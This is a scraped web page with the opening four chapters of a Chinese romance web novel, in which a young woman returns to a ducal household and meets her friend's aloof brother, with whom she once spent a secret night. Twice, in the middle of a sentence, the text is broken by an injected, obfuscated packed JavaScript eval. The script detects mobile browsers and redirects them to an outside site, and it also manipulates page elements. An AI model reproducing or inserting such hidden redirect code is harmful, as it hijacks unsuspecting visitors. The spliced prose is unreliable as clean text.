《与兄长春风一度后》 1. 第 1 章 烛火昏昏,纱帐中映出两道模糊的身影。 鎏金兽首香炉中本应笔直而上的烟雾,随着拔步床角银钩撞击的清脆声,被打散成了淡青色的薄雾飘散在热浪滚烫的空气里。 床榻边,玉带衣裳七零八落散乱堆叠一地。 帐内昏昧的灯火映着男人耸动的肩峰,光晕中汗滴摇坠。 有那么一瞬间,对上男人滚烫而锋利的眼神,李亭鸢恍惚生出一种他已经认出了自己的错觉。 崔琢,自己至交好友崔月瑶的哥哥,上京城最最清冷矜贵、高不可攀的世家公子。 她从未想过,有朝一日自己会与他生出这般荒唐的交集。 窗外就有丝竹乐器之声飘来。 隔着不远,人群鼎沸。 李亭鸢甚至能听到一门之隔外崔月瑶同旁人说笑的声音,仿佛下一瞬,她就会推门而入,发现她正在和她哥哥无媒苟//合的不耻之事。 李亭鸢忽然紧张不已,身前男人似乎闷闷地“嘶”了声。 很快他又箍着她的腕,将她紧张的思绪带入了更加狂猛的浪潮之中。 密实的锦帐里温度不断攀升,热浪席卷着酒气翻腾。 忽然间,不知从何处闯入一阵湿冷的狂风,吹散了帐中的旖旎。 李亭鸢身子猛地一坠,倏然醒了过来。 日光灼眼。 心脏剧烈跳动着,一下一下似要冲破胸膛。 李亭鸢抚着胸口小口喘息,视线怔怔望向那车帘下洒进来的斑驳光影,过了好久才缓缓回过神来。 ——她竟是难捱舟车劳顿,不知何时趴在马车中的小几上睡着了。 少女视线落在眼前的青玉瓷杯上,抬手给自己倒了杯茶水,双手捧着小口小口抿下去半杯。 明晃晃的光线下,纤细的手指像玉一般润得透澈,紧攥着冰冷的天青色瓷杯。 李亭鸢看着车窗外阔别三年的街景,心中情绪一时复杂难辨。 方才那样的梦在初初离京的那一年,她不知做了多少回。 后来直到半年前父亲病重。 那时候母亲整日只知道自怨自艾、以泪洗面,她既要照顾病重的父亲,又要安抚母亲,还要承担起弟弟的学业。 整日里忙得不可开交,便再也未曾想起那夜之事了。 只是此次回京,许是一想到要再度见到那个男人,这两日她才又开始不受控制地频频梦见那个荒唐的夜晚。 李亭鸢纤细的秀眉微微颦了起来,莹白指腹在杯沿上压出轻微的红痕。 说起来这次回京,实乃迫不得已。 这三年来她从未刻意打探过他的消息。 当初发生那件事前,就听闻崔府在与沈府议亲,这么多年过去,想必他早已娶妻生子了吧。 可倘若他已有了妻儿,在府中她又要如何面对他。 李亭鸢微微敛下眼眸,纤长的眼睫轻轻遮挡住眸中情绪,双手略显不安地扣着杯沿。 马车很快绕过一条街巷停了下来。 “李姑娘,国公府到了。” 车夫的声音隔着帘子传来。 李亭鸢静坐片刻,方才深吸一口气,拖着沉重而忐忑的步子缓缓下了马车。 春日阳光正盛,洒在身上,驱走了一丝指尖的凉意。 抬头望去,“镇国公府”四个御赐的鎏金大字在炽烈的阳光下灼灼耀眼,朱门高阔,门前那对青石狻猊神色威严地俯瞰长街。 所有的一切都在无声昭示着崔府的显赫门第与高不可攀。 似乎只是站在这清肃庄严的门前,便能轻而易举叫她一直竭力遮掩的惭愧与羞耻无处遁形。 李亭鸢紧紧攥着手中的包袱,仿佛那就是她所有的依仗一般,心底的忐忑却愈演愈烈。 正在此时,国公府的朱漆大门缓缓发出厚重的声音,一道鹅黄色的身影出现在门外。 “沅姝!” 沅姝是李亭鸢的闺名。 门内的崔月瑶乍一见到阔别三年的好友,惊喜地瞪大眼睛,提着裙摆朝李亭鸢跑了过来。 “怎么这个时辰就来了!不是说下午才到么?我正打算去城门口等你呢!” 崔月瑶性子跳脱,叽叽喳喳的,丝毫没有三年未见的生疏。 说话间,头上的珠钗在日光下熠熠生辉,竟是比那四个鎏金大字还要耀眼。 李亭鸢低头看了看挽在自己臂弯里那只毫不客气的手,又抬头看向崔月瑶明艳的脸,眼睫颤了下,似有一股温热柔软的泉水无声无息地漫入了胸腔。 半晌,她的唇角缓缓绽放出一抹真心实意的笑意: “心急见到你,路上便快了些。” 崔月瑶不屑地哼了声: “你惯会给我灌迷魂汤!别以为这么说,我就会原谅你当初的不辞而别!” 李亭鸢忍俊不禁,才要开口哄她,一回头却发现,前一刻明明还在嗔怪她的崔月瑶眼角不知何时竟微微泛起了红。 崔月瑶语气哽咽,分明是埋怨的语气,然而说出来的话又透着心疼: “怎么这么瘦了,这些年你定是没有好好照顾好自己!为何当初你家遭难不肯告诉我,即便我没什么本事,可我哥他……” 李亭鸢听她提起崔琢,面上神情不自然地僵了一下,轻拍她的背: “我这不是回来了么?” “可你……”崔月瑶还要再说,从府门内出来一个四十多岁的仆妇。 那仆妇一身华贵衫子,头发梳得一丝不苟,规行矩步来到两人身边,笑着对李亭鸢施了一礼: “李姑娘一路舟车劳顿,我们家夫人里面有请。” 说着,又语重心长对崔月瑶劝道: “三姑娘,还是先进去再说吧。” 崔府重规矩,府中姑娘在大门前搂搂抱抱实在不合规矩。 崔月瑶小小地晃了晃李亭鸢的袖子,“进去吧。” 从前李亭鸢时常来崔府寻崔月瑶。 国公府的府邸雅致大气,亭台楼阁,移步异景,同她记忆中的一般无二。 只是阔别三年,这熟悉的景致又难免像是隔了层看不见的纱,透着几分陌生的疏离。 一路上李亭鸢都有些心不在焉。 刚绕进东花厅的照壁,门内便响起一道稚儿奶声奶气的说话音,随即屋内众人皆是轻笑出声。 李亭鸢的脚步猛地顿住,脸色霎然一白。 崔月瑶奇怪地看着她,“怎么不走了?” 李亭鸢回过神来,摇摇头,随她一道步上台阶。 几人刚一跨进花厅,屋内众人皆静了一瞬,所有人的视线不约而同地落在了李亭鸢的身上。 倒是崔母率先开了口: “是亭丫头吗?快来让我瞧瞧。” 屋中除了崔母陈氏,二房家的伯母温氏、以及温氏的儿媳柳氏并几个二房的远房表亲也在。 她一开口,房间里的其余人也都活络了起来,有夸李亭鸢几年不见出落得越发标致的,有问她路上可辛苦的。 李亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153390|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸢一一回了众人,从善如流地来到陈氏身前。 崔母怀中抱着一个两岁多快三岁的稚儿,李亭鸢过去的时候,离得最近的温氏将那孩子抱了过去。 李亭鸢暗自抿了抿唇,敛衽欲行大礼,“亭鸢拜见夫人……” 膝盖还未弯下去,手臂已经被崔母轻轻托住。 “好孩子,不必多礼。” 崔母的手温暖干燥,慈爱地打量着李亭鸢,语气充满怜惜: “怎么瞧着脸色不好?还瘦了这么多,这些年苦了你了。” 崔母是个温和的女人,四十出头的年纪,说话柔柔的,从前便对李亭鸢颇有照顾。 她的话一出口,李亭鸢鼻尖一酸,眼眶微微发烫: “劳夫人挂心。” 从前没人同她说一句辛苦的时候,她倒不觉得什么,可乍然听到旁人的抚慰,那点一直压在心底的委屈便憋不住了。 崔母哎了声,将李亭鸢拉到身前来,拭掉她眼角的泪,心疼道: “既回来了,好孩子,以后崔府便是你的家。” 她拉李亭鸢坐下,笑着对她道: “当初瑶姐儿说要接你回京的时候,我便心生欢喜,今后便在崔府安心住着,也好给那小泼皮做个伴儿,管管她那性子。” 崔月瑶一左一右和李亭鸢围在母亲身边,故意露出一副不悦的表情,嗔道: “母亲!我可不是泼皮!” 崔母闻言瞪了她一眼,众人也被她那副娇憨的表情惹得哈哈大笑。 崔月瑶摸了摸鼻尖,挽住李亭鸢的手臂,撒娇道: “既然沅姝回来了,不然母亲干脆认沅姝做女儿吧!我早就想让她做我姐姐了呢!” 李亭鸢原本正心神不宁地瞟向门口,闻言猛地回头,不由下意识拒绝: “月瑶,别瞎说,我怎敢……” “有何不敢?” 崔母一直便对李亭鸢颇有好感,闻言竟当真动起了心思。 她怕了拍李亭鸢的手,目光真挚: “你是个懂礼数的好孩子,我与你颇觉有缘,也早就将你视如亲女,瑶儿说的对,亭丫头,日后,你便唤我一声‘母亲’吧。” 李亭鸢默不作声地低下头去,绞着袖口,心里头一时间七上八下。 若说不心动是假的,除去崔琢不说,崔家人都待她极好,况且如今她失怙失恃,若是有了家人,今后的日子也不会太过艰难…… 崔月瑶在一旁晃着她的手臂催她: “沅姝,快叫母亲呀!” “是呀,今后瑶姐儿可就能和亭丫头做亲姐妹了!我们国公府啊,可太稀罕小姑娘了!” 众人满心欢喜在一旁帮腔。 李亭鸢知道眼前这一大家子对她的喜欢都是真心实意,这种久违的温情令她分外珍惜,可倘若成了崔府的女儿,便是那人的妹妹…… 她紧紧攥着袖子,眼睫剧烈颤着,心中矛盾的情绪愈演愈烈。 崔月瑶不住地催促她。 李亭鸢抬眸,看向崔母慈爱而鼓励的眼神,嘴唇蠕动,那声“母亲”在唇齿间徘徊,带着一丝渴望与忐忑,几乎就要脱口而出—— “母亲。” 一道清冷低沉的嗓音毫无预兆地自身后响起。 泠泠的声音如同雪山之巅刮过的寒风,瞬间冻结了满室温馨。 李亭鸢身子一僵,全身血液仿佛在这一刻骤然凝固了一般。 停滞须臾,她僵硬地,一点一点地缓缓转过了视线。 2. 第 2 章 灼亮的日光从门外照进来,门厅处立着一道颀长身影。 含霜履雪的端方君子,鹤姿昂藏,皎如明月。 男人一身紫色官袍还未换下,蟒纹玉带勾勒出精瘦的腰肢,衬得他身姿越发挺拔,锋利的五官俊朗,眉眼间还带着一丝官场的冷肃和疲惫。 在他身后,碎金一般的夕阳洒在对面朱漆廊柱上,微风拂动檐下的竹帘。 国公府恢弘而高雅。 然而崔琢只是静静往那里一站,那原本雍容华贵的一切便刹那间黯然失色。 三年未见,岁月似乎并未在他身上留下太多痕迹,只是将从前他身上原本的那份清冷,沉淀成了更加迫人的威势与深沉。 他一如从前的平静沉稳,就好像生来不会被情绪困扰,哪怕李亭鸢见过他在黑夜里那般动情,过后仍然稳重自持。 男人在门口站定,视线平淡地扫过厅内众人。 李亭鸢慌忙垂眼,冰凉的指尖下意识紧绞在了一起,就连呼吸都放得极轻。 然而崔琢的目光在她脸上却只停留了不足一瞬。 他看她时,仿佛是扫过屋中的一把椅子,一个摆件,神情始终淡漠而疏离,对她微微颔首算是打过招呼后,便淡淡移开了视线,抬脚跨进门槛。 李亭鸢紧绞手指的动作猛地顿住,脸颊刹那间变得滚烫。 他果然什么都不记得了。 她方才在期待什么,亦或是紧张什么? 她的唇角几近自嘲般扯了扯,心里所有的忐忑与不安全都变成了对自己的不齿。 ——他从不记得,也不曾将那一夜当回事过。 兴许在他眼中,那夜的意外甚至连他案牍上染脏的一个墨点都不如,只有她还一遍遍回忆起那晚。 这感觉就好像,他是高洁的天上月,名花有主,而她却还躲在阴暗里一遍遍不知羞耻地亵渎他。 方才所有的温馨,在这一刻面对他的冷漠时,全都变得不值一提。 李亭鸢暗暗深吸一口气,强迫自己收敛起所有心思,规规矩矩随着众人起身行礼。 突然,那原本还在温氏怀中的小肉团子挣扎着下地,在众人皆敛眉行礼的时候,欢快地唤了声“爹爹”,一头扑在了崔琢的腿上。 那声“爹爹”令李亭鸢的心脏猛地刺了一下,她下意识抬头朝父子二人看去。 崔琢俯下身去抱起孩子,原本淡漠的神情里这才有了一丝难得的笑意。 他本就身材高大,随手抱起个两岁的孩子毫不费力。 “承宵今日可有好好用饭?” 小肉团子捧住他的脸颊,吧唧在他脸上响亮地亲了一口,奶声奶气又一本正经回道: “回爹爹的话,承宵今日吃得极好,午膳时的鸡腿儿承宵吃了两个呢!” 崔琢轻笑了下,调整了一个更为稳妥的姿势稳稳地托着孩子。 李亭鸢从未见过这样的崔琢。 他身上的紫色官袍还带着朝堂上的凛冽寒意和肃杀,然而抱着孩子的动作却柔情而宠溺。 李亭鸢微微抿唇,心底蔓延出一丝酸涩。 崔琢抱着孩子从她身边擦过,走到上首,“母亲。” 温氏从他手中将孩子接过去,崔琢的视线扫过李亭鸢,状似不经意地问起: “母亲,这位是?” “你回来得正好,我才要派人去寻你呢。” 崔母将李亭鸢拉到身前,“这就是我常同你提起的亭丫头李亭鸢,此前她总是来府中寻瑶儿,不过你可能忙,不曾注意过。” 她拍了拍她的手,不容置疑地同崔琢说: “亭丫头孤苦无依,我已同她和瑶儿商量好认她做女儿,你寻个合适的机会安排一下,开了宗祠,也好尽快将事情定下。” 崔月瑶在一旁忙不迭地点头应和。 李亭鸢原本要拒绝的话被母女二人生生阻在了喉咙里,只能微微低下头去,借此遮住自己眼底的忐忑。 崔琢闻言,果然微微侧身,视线再度落到她的身上。 他削薄冷白的眼皮微微压着看她,这次的目光中带上了几分审视的意味。 他立在那里,身形清隽,姿态里甚至还有几分气定神闲的意味。 然而像崔琢这种常年浸润官场秉政当轴的男人,即便只是视线平静地扫过来,目光中的深沉与凌厉也足够压迫。 李亭鸢的呼吸猛地一紧,在他的审视下如同一件待价而沽的商品,窘迫得无处遁形。 三年前……三年前当她在床边大着胆子环住他腰身的时候,余光里,他的目光也是这般平静而难测地居高临下审视着她。 时间一点一滴过去,李亭鸢胸腔里的心脏越跳越快,滚烫的热意不住往脸颊上涌。 良久—— “认作女儿?” 崔琢的声音凉凉的,同方才对那孩子说话时的语气截然不同。 他似乎极轻地笑了下。 李亭鸢垂在身侧的指尖猛地一颤。 崔琢说完那句话后,却再未急着说下去,而是走到上位坐定,随手端起了手边的茶盏。 男人的视线隐在氤氲的热汽后,看不真切,只是拿杯盏的那只手,骨廓分明、温润如玉,微微凸起的青筋虬结有力。 今日的茶似乎并不合意,李亭鸢发现他的眉心极轻地蹙了下。 房间里安静极了,所有人都吊着气息,等待着崔琢发话。 半晌后,茶盏被放回桌面上,杯盘撞击发出一声不轻不重的脆响。 那位年轻的崔家家主这才不紧不慢地重新看向李亭鸢,视线在她的脸上打量,语气平稳得没有一丝波澜: “母亲慈心,儿子明白,只是——” 他的语调不疾不徐,却字字清晰地敲打在在场每一个人的耳朵里,“镇国公府认亲非是寻常百姓家过继,牵扯甚广。” “李小姐。” 他对她用了最客套的称呼,“倘若我没记错,令尊李大人,此前在工部任正五品都水清吏司郎中。” 李亭鸢呼吸微滞。 接着,她就听他说出打从进门到现在,最令她难堪的话: “李家清流门户,家风自是清正。然而崔家累世簪缨,李府与我镇国公府门第……终究有别。” 他略微停顿,目光若有似无地扫过李亭鸢逐渐苍白的脸,继续道: “倘若贸然认亲,徒惹外界无端揣测,于李小姐清誉无益,于我国公府声誉,亦恐有碍。” 崔琢的语气很冷静,冷静到近乎冷漠。 李亭鸢脸上的血色一点点褪尽,整个人如坠冰窟,而后又在众人各色的目光下,犹如被架在火上炙烤。 她甚至克制不住地开始颤抖。 “兄长!”崔月瑶冲上来扶住她,气得直跺脚,“你怎么能这么说她!” “明衡……” 崔母亦不赞同地蹙眉。 崔琢不动声色,目光依旧锁在李亭鸢的身上,漆黑的瞳眸深不见底,让人猜不出他在想什么。 良久,他指腹在茶杯边沿摩挲了一下,不容置疑地为此事定了秤: “母亲若真心怜惜,收李姑娘作义女便是,予她一份庇护,亦全了情谊,已是足够。” 李亭鸢死死咬住下唇,鼻腔里的酸楚不住往外涌。 她与他有过不为人知的一夜。 尽管他仍旧高不可攀,可李亭鸢心中下意识觉得,他是同旁人不一样的。 然而她现在才知道,原来在崔琢的眼中,她不过是个入不得眼的陌生人,甚至与这高门煊赫的国公府还有着云泥之别。 崔琢清正又冷静,他在云端,不会也不屑对她这个“陌生人”厌恶鄙夷。 他只是在云淡风轻的语气下,轻描淡写地向李亭鸢陈述了一个事实——她不配。 崔府义女四个字,对她来说仿佛已是天大的恩赐。 所有的感动、忐忑和微弱的希望,在这一刻被彻底粉碎,巨大的屈辱和难堪近乎没顶般朝李亭鸢涌来,有一股不甘与委屈在胸腔里横冲直撞。 李亭鸢攥了攥拳,突然抬起了头。 这是她打他进来起,第一次鼓足勇气与他对视。 然而才刚望进崔琢那双冷漠深沉的眼 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“传膳吧。” 崔家重矩,饭桌上安静得近乎压抑。 李亭鸢更是一整顿饭下来都食不知味。 好不容易捱过了用饭,崔琢还有事情先行一步,屋子里的气氛这才缓和了下来。 崔月瑶轻轻摇了摇她的袖子,小心翼翼安抚道: “你别往心里去,我哥他就是这样……你别看他看起来冷漠,其实对自己亲近之人都极好的,哥哥既准了你义女的身份,今后定会护着你的。” 李亭鸢抬头瞥了眼男人渐行渐远的挺拔背影,脸色发白,摇了摇头没说话。 崔琢刚一走出院子,便听身后一阵哒哒哒的脚步声,陆承宵蹬着小短腿儿呼哧呼哧地从身后跟了上来。 “爹爹!” 崔琢脚步顿住,修长的手指往陆承宵脖颈后的衣领上一勾,淡笑道: “我说的什么忘了么?不许叫我爹爹。” 陆承宵一愣,小眉毛顿时皱在了一起,嘴一瘪: “可方才在厅中,爹……” 对上崔琢似笑非笑的目光,陆承宵不自觉吞了吞口水,连忙改口: “方才在厅中,崔叔叔可是允许我唤你爹爹了呢,为什么现在又不许了。” 陆承宵从小就被养在崔琢身边,对于这个厉害的叔叔心中既钦佩又儒慕,总是想尽法子想让这个叔叔做自己的爹。 方才他唤他爹爹,他没有反驳,反倒还亲昵地抱起了他,这让陆承宵以为他终于肯认他了呢! 崔琢眼帘下压,意味不明地盯着陆承宵。 片刻后,他放开他的衣领,在他头顶拍了拍,语气淡薄而不容置疑: “去做今日的功课。” 陆承宵不敢忤逆他,低头失望地哦了声,一步三回头地离开了。 待到那小肉团子依依不舍地走远,崔琢脸色一白,忽的蹙起了眉。 “世子!” 一旁的长随崔吉安见状,轻车熟路地从怀中掏出药瓶,倒了一颗药丸递上来。 崔琢捻起药丸的时候,指尖碰到了吉安的掌心。 崔吉安被冻得一哆嗦,抬眼下意识觑着自家主子的神色。 三年前那场百花宴,世子消失了一晚上,第二日回来后便病倒了。 可太医院里所有太医挨个替世子诊了个遍,也未查出病因来。 直到世子的至交好友找来了一位神秘的苗疆大夫。 那大夫替世子诊治后语出惊人,说世子是被人种了蛊毒,而那种蛊毒……只有与女人交合时才会被种上。 需寻到那夜的女子服下解药再与世子交合,方可彻底解蛊。 得知这个消息时屋中人面面相觑。 世子自来清冷不近女色,在他身边从未出现过任何一个女人。 且不说他何时与女人有了肌肤之亲,便是那女子是谁他们都无从得知,更遑论去寻找。 3. 第 3 章 崔吉安看了看手中的药瓶,幽幽叹了口气。 在那之后世子醒来,夫人也曾私下里问过世子那女人是谁。 可世子却只冷着脸,什么都不肯说。 夫人猜测,若非那女子身份特殊,便是世子自己也不记得。 夫人怜惜世子身体,曾与那苗疆大夫探讨过换个女人替世子解蛊,虽说过程麻烦了些,但也不是不行。 可后来夫人往世子床上送的几个女子,都被世子又原封不动地退了回来。 前一年夫人为了此事还与世子闹过,后来见他态度强硬,虽然着急却也不得不放弃了这个念头。 崔吉安收了药瓶,心里忍不住祈祷,希望那个女子能够早日出现才好。 - 李亭鸢被安排在了东边的清宁苑。 位置就在崔月瑶的春棠苑隔壁,距离崔琢的松月居也不过隔了一个小花园。 崔月瑶陪着李亭鸢将一应行礼收拾好,陪她说了好一会儿话,直到夜深才依依不舍地离开。 房间里少了好友叽叽喳喳的声音,一下子冷寂了下来。 李亭鸢深深呼出一口气,缓步走到床边神色怔忡地坐了下来,白日强装的镇定彻底瓦解,眼泪无声滚落。 她默默擦掉眼泪,视线往四周环顾了一圈。 这屋中的布置无不精致容雅,每一处都透着崔母的良苦用心。 然而却让她感到陌生。 对于全新环境的陌生,对于新身份的陌生,以及……对于未来的迷茫和惶恐。 倘若没有白日里崔琢那番羞辱,李亭鸢原本还能自欺欺人地以为自己今后能够有所依仗。 可即便是三年前的李家,若非机缘巧合,也绝不会有半点儿能搭上国公府的机会。 更遑论如今走投无路的她。 李亭鸢走到窗边,轻轻推开窗。 清冷的夜风扑面而来,院外一行整齐低锵的脚步声渐渐走远。 那是崔府的私兵,全大周也只有崔家,能够这般明目张胆地在天子眼皮子底下豢养部曲。 李亭鸢视线望向松月居的方向,不禁想起五年前第一次见到崔琢时的场景。 那时候她刚刚从马车下救出摔伤的崔月瑶,着急送她回了崔府。 崔月瑶是崔家的掌上明珠,刚一回府屋子里便被闻讯赶来的众人围了个水泄不通。 还是随行婢女提醒崔母是她救了崔月瑶,崔母这才想起屋中还有个外人。 崔母握住她的手,顺势从手腕上撸下一个镯子戴到她腕上,简单问了她的出身家世,便命张嬷嬷带她去库房挑选谢礼。 李亭鸢知道崔母心系自己女儿,也不曾介意崔府的怠慢,婉拒了谢礼。 她的左手腕因救崔月瑶受了伤,但她从未想过让崔府的大夫替自己诊治或是挟恩图报,只想快快出府医治。 便是在出府的路上,李亭鸢第一次碰到了崔琢。 那个时候的崔琢已是年少成名,惊才绝艳。 他朝她走来,步伐平稳,一袭冷蓝色锦衫,身姿如松柏冷峻,耀眼又疏离。 李亭鸢停下脚步同他行礼,张嬷嬷对崔琢回禀说是她救了他妹妹。 男人的目光闻言朝她压下来,沉稳平静,皎如明月。 李亭鸢原本以为他也会像崔母一样,对她的救命之恩报以物质的答谢。 却不想崔琢看向她的手腕,微不可察地蹙眉后开了口: “疼么?” 李亭鸢一愣。 微风拂过,男人低沉的嗓音如醉人的酒,同她鬓边的碎发一道拂过耳廓。 不知为何,瞧着那张映在夕阳余晖下的清冷面容,李亭鸢的心跳忽然不受控制地漏了一拍。 李亭鸢攥紧了掌心,缓缓点了下头。 “……疼。” 那日的夕阳如火烧一般,燃尽了西边的半边天空,热烈得如同她身体里激涌的血液。 此后的许多年,李亭鸢都再未见过同那天一样的夕阳。 后来过了几日,崔母似乎也意识到了自己当时的怠慢,命人请她过府款待,再之后崔月瑶登门感谢,一来一回她便成了崔府的常客。 可打从那次之后,那个男人面对她的每一次又变回了客气疏离的态度。 仿佛那次亲自盯着太医为她诊治的人不是他一般。 李亭鸢原本以为,她会一直远远仰视着他,亲眼看着他与旁人成婚。 直到三年前那晚…… 窗外一阵冷风吹来,李亭鸢打了个冷战从回忆里惊醒。 她微微垂眸,手指摩挲着腰间略有些褪色的香囊,心底慢慢溢出一丝苦涩的悲凉。 崔府的第一夜,李亭鸢几乎彻夜未眠。 第二日一早,崔月瑶便找上了门,两人一道去了清心堂给崔母请安。 崔府规矩森严,李亭鸢二人到的时候,房中已经聚集了几个来请安的小辈。 除了昨日见过的柳氏和二房的几个表亲外,还有两个李亭鸢没见过的少女。 众人互相见过礼后,崔月瑶拉着李亭鸢咬耳朵: “那边那个粉衣服的,便是我昨日同你说过的柳梦鸢,二嫂的亲妹妹,名字里的那个鸢字,和你的是同一个。” 李亭鸢微微诧异,借着同崔月瑶说话的功夫偷偷瞧了过去。 那姑娘穿着一身淡粉色绣银丝海棠纹的襦裙,面容白净,身姿纤细。 同其余交头接耳的人不同,她就只安安静静站在柳氏身旁,显得异常乖巧。 昨日崔月瑶同她说,这柳梦鸢本是来京城探亲后顺路来崔府探望其姐柳氏,结果不知怎的,颇得母亲的眼缘,母亲硬是将人留了下来。 崔月瑶凑近李亭鸢耳旁,悄声道: “这柳梦鸢瞧着倒是清秀,但又不是倾国倾城,门第也不显赫,不知为何母亲近来却有意撮合她与我哥哥,而且我听母亲说,哥哥似乎也十分属意她……” 李亭鸢闻言猛地瞪大眼睛: “崔……世子他不是早就成亲了么?” 崔月瑶蹙眉,奇怪地看着她: “谁告诉你我哥他成亲了?” 言罢,她似忽然想到了什么,哦了一声,“你是说昨天那个臭小子吧?他啊,可不是……” 崔月瑶的话刚说到一半,忽感众人都安静了下去,她急忙也跟着住了嘴,对李亭鸢挤眉弄眼一番,示意她回去后慢慢跟她说。 李亭鸢被崔月瑶方才的话冲击得心绪不宁,浑浑噩噩同众人一道行了礼。 直到崔母同她说话,她才回过神来。 “亭丫头昨夜睡得可还习惯?” 崔母笑盈盈地朝她招了招手。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153392|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亭鸢走上前去,将自己的手递过去,脸上的笑意有几分魂不守舍: “劳夫人记挂,亭鸢一切都好。” “还叫什么夫人……”崔母笑道,“义女也是女,今后你便唤我一声母亲,让瑶丫头叫你姐姐。” 李亭鸢抿了抿唇,还未说话,崔月瑶便已经凑了上来,搂着她脆生生唤了句: “我的好姐姐诶!” 她这一声惹得众人都忍不住笑了出来。 李亭鸢跟着低下了头。 低头的瞬间,她的余光瞥到柳梦鸢,见她唇边只挂着一抹浅笑,看上去一副人畜无害的模样。 她看过去的时候,她恰好也朝她看了过来,眼神幽幽。 “对了……” 崔母拍了拍李亭鸢的手,“今日明衡休沐,待会儿你们俩去松月居给你们兄长请个安。” 崔月瑶一听要去给崔琢请安,立马扒到崔母身上撒娇: “我还没有陪够母亲说话呢,再说了……哥哥政事繁忙,我还是不去打扰他了。” 崔母无奈在她鼻子上刮了下,转而看向李亭鸢。 李亭鸢不是那般不知轻重的人,崔月瑶可以同崔母撒娇推脱,她却不行。 更何况她也看出来崔母当着众人的面提出此事,也是刻意说给她听,毕竟今后她都要在崔府、在崔琢手底下讨生活。 李亭鸢攥了攥掌心,垂眸温顺道: “母亲提点的是,亭鸢待会儿便去向世子请安。” 崔母笑道: “还叫世子呢?该唤声兄长才是。” - 松月居的地势较旁处高一些。 李亭鸢走到院门口时额上已微微渗出了细汗。 她在门口站了须臾,待汗落了,整了整衣裙和发髻,这才抬脚绕过照壁。 正屋的门开着,里面隐约可见崔吉安的身影。 李亭鸢深吸一口气,指尖因用力而微微泛白,犹豫了片刻走到房门口,弯膝行礼: “亭鸢来给兄长请安。” 她的嗓音偏清甜,说话的语气又乖顺,在这氤氲着朝露的清晨听着格外沁人心脾。 屋中的声音停滞了一瞬,紧接着一阵低而快的脚步声朝这边走来。 崔吉安的笑脸出现在门口: “姑娘来了?快请进。” 李亭鸢道了声谢,跟着崔吉安走进去。 这间房间是她第一次来,一进门就闻到一股清淡的墨香与松木气息。 屋中布局和她想象中差不多,清冷简约,但每一处细节又都透露着精雅与极致的讲究。 同清心堂众多姑娘的欢声笑语相比,这里冷清得过分,似乎连阳光都少了几分温度。 崔琢此刻便坐在东边窗下那张宽大的黄花梨木桌案前,冷白遒劲的手中捏着一支朱笔,似是在批阅公文。 应当是不用去官署的缘故,崔琢的身上只穿着一件简单的雅白色常服,衣襟和袖口整理得一丝不苟,坐在桌后的身姿板正端方。 冷白日光透过窗户落在他轮廓分明的侧脸上,更显得他清隽俊美,却也冷漠得不近人情。 听见她过去,他头也未抬,手中的笔在公文上继续批注着什么,淡淡道: “来了?一旁侯着。” 李亭鸢飞快收回视线,恭顺地回了声“是”。 4. 第 4 章 房间里安静得只有崔琢批阅公文时,笔尖摩擦纸面发出的沙沙声和书页翻动的声音。 时间一点一滴过去。 李亭鸢垂首静立,恭谨的态度没有一丝懈怠。 不知是不是她的错觉,虽然她低着头,但却能感觉到他落在自己身上的目光,如有实质一般,将她从发髻扫到裙角,充满了审视。 李亭鸢悄悄在袖子下擦了擦掌心里的细汗,心脏因那丝目光再度不受控制地剧烈跳动。 不知过了多久,笔尖划过纸面的沙沙声停了下来。 李亭鸢呼吸一凝,良久才听见那男人不紧不慢开了口: “来请安?” 李亭鸢猛地回过神来,敛了神色规规矩矩行了一礼: “亭鸢奉母亲之命来向兄长请安。” 少女轻柔的嗓音里,带着一丝不易察觉的紧绷。 也不知是不是兄长这个词令崔琢觉得不悦,他手指哒地敲在桌面,轻笑了声。 李亭鸢抿住唇没说话。 空气陷入凝滞。 片刻后,崔琢盯着公文再度开口,声音依旧平直而没有温度: “住得可还习惯?” 李亭鸢心头一紧,越发谨慎: “回兄长,清宁苑很好,多谢兄长关心。” 话音落下,崔琢终于搁下笔,抬眸看向她。 男人琥珀色眼底蕴藏着莫名深意,冷静的目光从她身上扫过,最终落在她因紧张而微颤的眼睫上。 崔琢的指腹摩挲了一下。 “既然入了崔府,往日种种,皆需摒弃。” 崔琢的语气依旧平稳,却字字清晰,落在李亭鸢耳中带着警醒的意味。 “府中规矩多,不比你从前,望你谨言慎行,莫要行差踏错损了府中清誉。” 李亭鸢脸色发白,眨了眨眼逼推眼底的委屈。 “是,亭鸢明白。” 她低下头,声音更轻,温顺又规矩,“亭鸢定当恪守规矩,不敢有违。” 崔琢凝视着她的发顶,眸色深沉,看不出情绪。 良久,他放缓了语气: “倘若有什么短缺,可以直接来告知于我,亦不必太过拘谨。” 顿了顿,“若是没事,便下去吧。” 李亭鸢没动。 崔琢重新执笔的动作顿住,眉梢微挑: “还有事?” 李亭鸢微微捏了下袖子,鼓足了勇气抬头,直视着崔琢的眼睛,认真问道: “世子是否不喜我唤你兄长?” 其实她想问的是,他是否不喜她,不喜她被崔夫人认作义女,辱没了崔府的门楣。 可她到底没勇气那般直白地将话问出来。 对面的男人动作一顿,掀起眼帘意味不明地看了她一眼。 李亭鸢也不知自己为何会问出这样的话,许是不甘,又许是自己对于三年前那件事还有芥蒂。 她此刻心中虽然忐忑,却也没有一丝退缩地直直望进他的眼底。 